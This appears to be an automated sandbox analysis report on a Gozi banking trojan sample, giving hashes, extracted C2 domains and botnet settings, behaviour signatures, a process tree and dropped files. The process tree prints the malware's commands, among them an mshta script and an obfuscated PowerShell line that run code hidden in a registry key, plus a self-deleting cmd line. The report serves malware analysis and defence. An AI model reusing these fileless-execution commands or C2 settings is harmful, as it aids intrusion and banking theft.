Resubmissions

06-10-2023 00:32

231006-avxlbaac38 10

06-10-2023 00:31

231006-at7pwsgb5s 10

05-10-2023 16:10

231005-tmvxasec87 10

Analysis

  • max time kernel
    150s
  • max time network
    134s
  • platform
    windows10-1703_x64
  • resource
    win10-20230915-en
  • resource tags

    arch:x64arch:x86image:win10-20230915-enlocale:en-usos:windows10-1703-x64system
  • submitted
    06-10-2023 00:31

General

  • Target

    7665e793186c3c83ec2c2c69adaee5e81ec60d395d8714921352296a5ab88ae6.exe

  • Size

    304KB

  • MD5

    a3f4c907a088c99a8b7bf5f4280d7d0c

  • SHA1

    9a9297bd0af1c008eb7477c1e310ce70c30c6d56

  • SHA256

    7665e793186c3c83ec2c2c69adaee5e81ec60d395d8714921352296a5ab88ae6

  • SHA512

    106a0a4275a421a6dbef6c43e76921e6eae1aca5f6d960f823763a3127b7ebf826c626da460db82451aba4a94c32c8c198d6871b0a2c6de7d96c937384e92f9b

  • SSDEEP

    6144:Oo+91vDNpa6NK56upTHirwtc3nhBvjQOR/Oz2IHTN+:ONDLu4K56u1HqfhBvjQOWz2W

Malware Config

Extracted

Family

gozi

Extracted

Family

gozi

Botnet

5050

C2

mifrutty.com

Attributes
  • base_path

    /jerry/

  • build

    250260

  • exe_type

    loader

  • extension

    .bob

  • server_id

    50

rsa_pubkey.plain
aes.plain

Extracted

Family

gozi

Botnet

5050

C2

mifrutty.com

systemcheck.top

Attributes
  • base_path

    /pictures/

  • build

    250260

  • exe_type

    worker

  • extension

    .bob

  • server_id

    50

rsa_pubkey.plain
aes.plain

Signatures

  • Gozi

    Gozi is a well-known and widely distributed banking trojan.

  • Dave packer 1 IoCs

    Detects executable using a packer named 'Dave' by the community, based on a string at the end.

  • Suspicious use of SetThreadContext 6 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Runs ping.exe 1 TTPs 1 IoCs
  • Suspicious behavior: CmdExeWriteProcessMemorySpam 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: MapViewOfSection 6 IoCs
  • Suspicious use of AdjustPrivilegeToken 7 IoCs
  • Suspicious use of SetWindowsHookEx 1 IoCs
  • Suspicious use of WriteProcessMemory 39 IoCs

Processes

  • C:\Windows\Explorer.EXE
    C:\Windows\Explorer.EXE
    1⤵
    • Suspicious use of SetThreadContext
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious behavior: MapViewOfSection
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:3252
    • C:\Users\Admin\AppData\Local\Temp\7665e793186c3c83ec2c2c69adaee5e81ec60d395d8714921352296a5ab88ae6.exe
      "C:\Users\Admin\AppData\Local\Temp\7665e793186c3c83ec2c2c69adaee5e81ec60d395d8714921352296a5ab88ae6.exe"
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      PID:2084
    • C:\Windows\System32\mshta.exe
      "C:\Windows\System32\mshta.exe" "about:<hta:application><script>Cbcj='wscript.shell';resizeTo(0,2);eval(new ActiveXObject(Cbcj).regread('HKCU\\\Software\\AppDataLow\\Software\\Microsoft\\C007E561-1FD8-F246-A9F4-C346ED68A7DA\\\GlobalPlay'));if(!window.flag)close()</script>"
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:4992
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" new-alias -name osqaonf -value gp; new-alias -name qwqihh -value iex; qwqihh ([System.Text.Encoding]::ASCII.GetString((osqaonf "HKCU:Software\AppDataLow\Software\Microsoft\C007E561-1FD8-F246-A9F4-C346ED68A7DA").VirtualActive))
        3⤵
        • Suspicious use of SetThreadContext
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious behavior: MapViewOfSection
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:2188
        • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
          "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\mhg0ybzw\mhg0ybzw.cmdline"
          4⤵
          • Suspicious use of WriteProcessMemory
          PID:344
          • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
            C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES3B4A.tmp" "c:\Users\Admin\AppData\Local\Temp\mhg0ybzw\CSC7AC440A73BDB4F61B36DF5A43202EAC.TMP"
            5⤵
              PID:4732
          • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
            "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\uffhejzs\uffhejzs.cmdline"
            4⤵
            • Suspicious use of WriteProcessMemory
            PID:2696
            • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
              C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES3C34.tmp" "c:\Users\Admin\AppData\Local\Temp\uffhejzs\CSC5F1CE30B3DA491EA0A72B23434ECA7.TMP"
              5⤵
                PID:4376
        • C:\Windows\System32\cmd.exe
          "C:\Windows\System32\cmd.exe" /C ping localhost -n 5 && del "C:\Users\Admin\AppData\Local\Temp\7665e793186c3c83ec2c2c69adaee5e81ec60d395d8714921352296a5ab88ae6.exe"
          2⤵
          • Suspicious use of SetThreadContext
          • Suspicious behavior: MapViewOfSection
          • Suspicious use of WriteProcessMemory
          PID:3292
          • C:\Windows\system32\PING.EXE
            ping localhost -n 5
            3⤵
            • Runs ping.exe
            • Suspicious behavior: CmdExeWriteProcessMemorySpam
            PID:3592
        • C:\Program Files\Windows Mail\WinMail.exe
          "C:\Program Files\Windows Mail\WinMail" OCInstallUserConfigOE
          2⤵
            PID:4272
          • C:\Windows\syswow64\cmd.exe
            "C:\Windows\syswow64\cmd.exe" /C pause dll mail, ,
            2⤵
              PID:5016
          • C:\Windows\System32\RuntimeBroker.exe
            C:\Windows\System32\RuntimeBroker.exe -Embedding
            1⤵
              PID:3792

            Network

            MITRE ATT&CK Enterprise v15

            Replay Monitor

            Loading Replay Monitor...

            Downloads

            • C:\Users\Admin\AppData\Local\Temp\RES3B4A.tmp

              Filesize

              1KB

              MD5

              5bd98512338b299bb8b2bbc2c8fd4f61

              SHA1

              0d9bd6c3f6c593c1f744f2567df0e8544beebcad

              SHA256

              276aa4c64140f63fa79899b1fb9f6bbf75876888fe714bd8d88392a9c727b2fc

              SHA512

              cd6c8fb0d7e924cc49bcb0f37201fd7e7e6eae22e03c83b038fb537322fcfd9aa4687e004f7232de5be6e14bc507162e065ef052e1455e85bf306c01beda01d9

            • C:\Users\Admin\AppData\Local\Temp\RES3C34.tmp

              Filesize

              1KB

              MD5

              3e5c17d9afcc1b953d7d1a42fe1ba586

              SHA1

              1d229d71da9d76193c1653c06dfbd7d3ca31f622

              SHA256

              4c0ae0526a75b82498b0ac4c26171d8381e47f47162b3800c621ab4e603d8626

              SHA512

              c6b3f61214662442fa40f58d4c8c2dbbcae2221917627a4777021ac889c8d93b587984364e12899ce44bbfa80c87c8e0681f192f275fe928fe41d83f6f2acdcd

            • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_2o2o3kp4.a0d.ps1

              Filesize

              1B

              MD5

              c4ca4238a0b923820dcc509a6f75849b

              SHA1

              356a192b7913b04c54574d18c28d46e6395428ab

              SHA256

              6b86b273ff34fce19d6b804eff5a3f5747ada4eaa22f1d49c01e52ddb7875b4b

              SHA512

              4dff4ea340f0a823f15d3f4f01ab62eae0e5da579ccb851f8db9dfe84c58b2b37b89903a740e1ee172da793a6e79d560e5f7f9bd058a12a280433ed6fa46510a

            • C:\Users\Admin\AppData\Local\Temp\mhg0ybzw\mhg0ybzw.dll

              Filesize

              3KB

              MD5

              72d86159bee929c02bd1d18bc8dbda12

              SHA1

              8c393189092a8c0cdef557ab2100d94686711fd1

              SHA256

              fe0f0945c0618fdde0b78454217a78cf5b6ea83b336457c21f2429900a90a582

              SHA512

              7ac82c9dcde654fdd379a8e459c9dca192791c2b9aa44c402d2322734981f2d524c8323f03955367908796e9d1cdb2e3fad6726468d848f8005365f9e2464b50

            • C:\Users\Admin\AppData\Local\Temp\uffhejzs\uffhejzs.dll

              Filesize

              3KB

              MD5

              d965eaae9259a6c2ae59aa4755b828bb

              SHA1

              af2fa410fd4d44d2a3758da29629824f1b40acc9

              SHA256

              4bcd4a1adebc94d66d3baf980968500687a4f9244d38a4f763dd32baebffb347

              SHA512

              5497c2194ec805efdf6e8e3c58d70861b5cf664e8c28954643d1886a987e851237971ebbf55132ddfcb0c6b03f85fa2db31fd988275577023b9766a45c1ea950

            • \??\c:\Users\Admin\AppData\Local\Temp\mhg0ybzw\CSC7AC440A73BDB4F61B36DF5A43202EAC.TMP

              Filesize

              652B

              MD5

              e133f76884694d25410c8ba87dcf29da

              SHA1

              927a68c84f00734b2aab61350f4515514ada8405

              SHA256

              fc29900707d5526e3acc23b4dd4f51691517d5ad0b358e14a54681980ccc6b68

              SHA512

              fd6d517c65a7f0d57c9db60d9b35fd9155cf0973f824aad831fa1d2977aabb80ba61039612a8e23003ff7985348aac13f843b48d43adfe27fdd3ff1a2df37a3f

            • \??\c:\Users\Admin\AppData\Local\Temp\mhg0ybzw\mhg0ybzw.0.cs

              Filesize

              405B

              MD5

              caed0b2e2cebaecd1db50994e0c15272

              SHA1

              5dfac9382598e0ad2e700de4f833de155c9c65fa

              SHA256

              21210b9baafb8b03ab0ef625312973a77bb5aba856c91892b65826e8b7c3b150

              SHA512

              86dc4f8cedd37464c9c492c467375d4603715e5827dfaf7bfcfe5c46ce5e09b439139d4b0a756afa37e4c2444c5b169ac1c024217b9ba449edb183a3b53f2b62

            • \??\c:\Users\Admin\AppData\Local\Temp\mhg0ybzw\mhg0ybzw.cmdline

              Filesize

              369B

              MD5

              accda3949ded884057188cd3b2006afd

              SHA1

              c86e38dee600d1cabf538d59c3d287e4450572b8

              SHA256

              33571ffe5063b637c32717be23556296856fba6bc04bdc2fb6b5cf41c97c9957

              SHA512

              b0aa3d09ba7da599dbee19cc70c9156e7955323504cd957ee248b77faaffd76fe94675b10fd0aa45b06d335625f565020f73237aec0eb8c437cbc16019e6b118

            • \??\c:\Users\Admin\AppData\Local\Temp\uffhejzs\CSC5F1CE30B3DA491EA0A72B23434ECA7.TMP

              Filesize

              652B

              MD5

              3f321e7ba89dbd282fc7eb3e6a5e5f65

              SHA1

              5745df2d8f31befb80286a3daa29319f117117f1

              SHA256

              ae638bbcd25b4cd50a1f4ddf23764633c3c54225009bd80a856b0d2f8fb179cb

              SHA512

              a93817995c3fbbd4b90aac5a3d6a4e399105a1d5ac68598a893c4038a3d5f12d91ad292ba493c10d1466b69a234429b224d73040b2a7469dec25b01d0baec6ae

            • \??\c:\Users\Admin\AppData\Local\Temp\uffhejzs\uffhejzs.0.cs

              Filesize

              406B

              MD5

              ca8887eacd573690830f71efaf282712

              SHA1

              0acd4f49fc8cf6372950792402ec3aeb68569ef8

              SHA256

              568b0c1155379c88e91f904f4e70a3608fbf664ef890309cd705a7c5eb3232c3

              SHA512

              2a538a308db6c7d09224737f549d442b4c206e8e9605a2570149243ee11bf0c5f028ebf003b383f86709d0dd976ff66d15ccb700f50969ff3da64dd39cab25c7

            • \??\c:\Users\Admin\AppData\Local\Temp\uffhejzs\uffhejzs.cmdline

              Filesize

              369B

              MD5

              fae0d62433b840ce68039c8a429686eb

              SHA1

              49f4d40de0e676a673382582672d25c0a248cb8c

              SHA256

              8b682c74c5891344f777c7e0ec3e89bfa56875d66cf5379d9664f072c9f56ac6

              SHA512

              5ddab669479682196e630ef81e2ba8f82a9c3cf497f1c7a7aff3cd0095796d7d0f7f20438051ab31e47073d9c3cffa716e94e67173444fe73687e7a24da2f9cd

            • memory/2084-11-0x00000000015B0000-0x00000000015BD000-memory.dmp

              Filesize

              52KB

            • memory/2084-1-0x0000000001370000-0x000000000137C000-memory.dmp

              Filesize

              48KB

            • memory/2084-5-0x0000000000400000-0x000000000040F000-memory.dmp

              Filesize

              60KB

            • memory/2084-0-0x0000000001530000-0x000000000153F000-memory.dmp

              Filesize

              60KB

            • memory/2188-74-0x0000018B34DE0000-0x0000018B34DF0000-memory.dmp

              Filesize

              64KB

            • memory/2188-91-0x00007FFF45C80000-0x00007FFF4666C000-memory.dmp

              Filesize

              9.9MB

            • memory/2188-26-0x0000018B34DE0000-0x0000018B34DF0000-memory.dmp

              Filesize

              64KB

            • memory/2188-27-0x0000018B34FD0000-0x0000018B35046000-memory.dmp

              Filesize

              472KB

            • memory/2188-25-0x0000018B34DE0000-0x0000018B34DF0000-memory.dmp

              Filesize

              64KB

            • memory/2188-72-0x0000018B34FA0000-0x0000018B34FA8000-memory.dmp

              Filesize

              32KB

            • memory/2188-23-0x00007FFF45C80000-0x00007FFF4666C000-memory.dmp

              Filesize

              9.9MB

            • memory/2188-21-0x0000018B34E20000-0x0000018B34E42000-memory.dmp

              Filesize

              136KB

            • memory/2188-76-0x0000018B35360000-0x0000018B3539D000-memory.dmp

              Filesize

              244KB

            • memory/2188-58-0x0000018B34E10000-0x0000018B34E18000-memory.dmp

              Filesize

              32KB

            • memory/2188-92-0x0000018B35360000-0x0000018B3539D000-memory.dmp

              Filesize

              244KB

            • memory/3252-135-0x0000000003360000-0x0000000003404000-memory.dmp

              Filesize

              656KB

            • memory/3252-143-0x00000000092B0000-0x00000000093EA000-memory.dmp

              Filesize

              1.2MB

            • memory/3252-149-0x00000000092B0000-0x00000000093EA000-memory.dmp

              Filesize

              1.2MB

            • memory/3252-147-0x00000000092B0000-0x00000000093EA000-memory.dmp

              Filesize

              1.2MB

            • memory/3252-79-0x0000000001440000-0x0000000001441000-memory.dmp

              Filesize

              4KB

            • memory/3252-78-0x0000000003360000-0x0000000003404000-memory.dmp

              Filesize

              656KB

            • memory/3292-150-0x0000016D850C0000-0x0000016D85164000-memory.dmp

              Filesize

              656KB

            • memory/3292-106-0x0000016D850C0000-0x0000016D85164000-memory.dmp

              Filesize

              656KB

            • memory/3292-107-0x0000016D84D90000-0x0000016D84D91000-memory.dmp

              Filesize

              4KB

            • memory/3592-115-0x000001F6D7DD0000-0x000001F6D7DD1000-memory.dmp

              Filesize

              4KB

            • memory/3592-151-0x000001F6D7F40000-0x000001F6D7FE4000-memory.dmp

              Filesize

              656KB

            • memory/3592-114-0x000001F6D7F40000-0x000001F6D7FE4000-memory.dmp

              Filesize

              656KB

            • memory/3792-142-0x000002552C130000-0x000002552C1D4000-memory.dmp

              Filesize

              656KB

            • memory/3792-97-0x0000025529AC0000-0x0000025529AC1000-memory.dmp

              Filesize

              4KB

            • memory/3792-96-0x000002552C130000-0x000002552C1D4000-memory.dmp

              Filesize

              656KB

            • memory/4272-122-0x000001A32BEC0000-0x000001A32BF64000-memory.dmp

              Filesize

              656KB

            • memory/4272-129-0x000001A32BEC0000-0x000001A32BF64000-memory.dmp

              Filesize

              656KB

            • memory/4272-123-0x000001A32BE90000-0x000001A32BE91000-memory.dmp

              Filesize

              4KB

            • memory/5016-141-0x0000000000A30000-0x0000000000AC8000-memory.dmp

              Filesize

              608KB

            • memory/5016-137-0x0000000000570000-0x0000000000571000-memory.dmp

              Filesize

              4KB

            • memory/5016-134-0x0000000000A30000-0x0000000000AC8000-memory.dmp

              Filesize

              608KB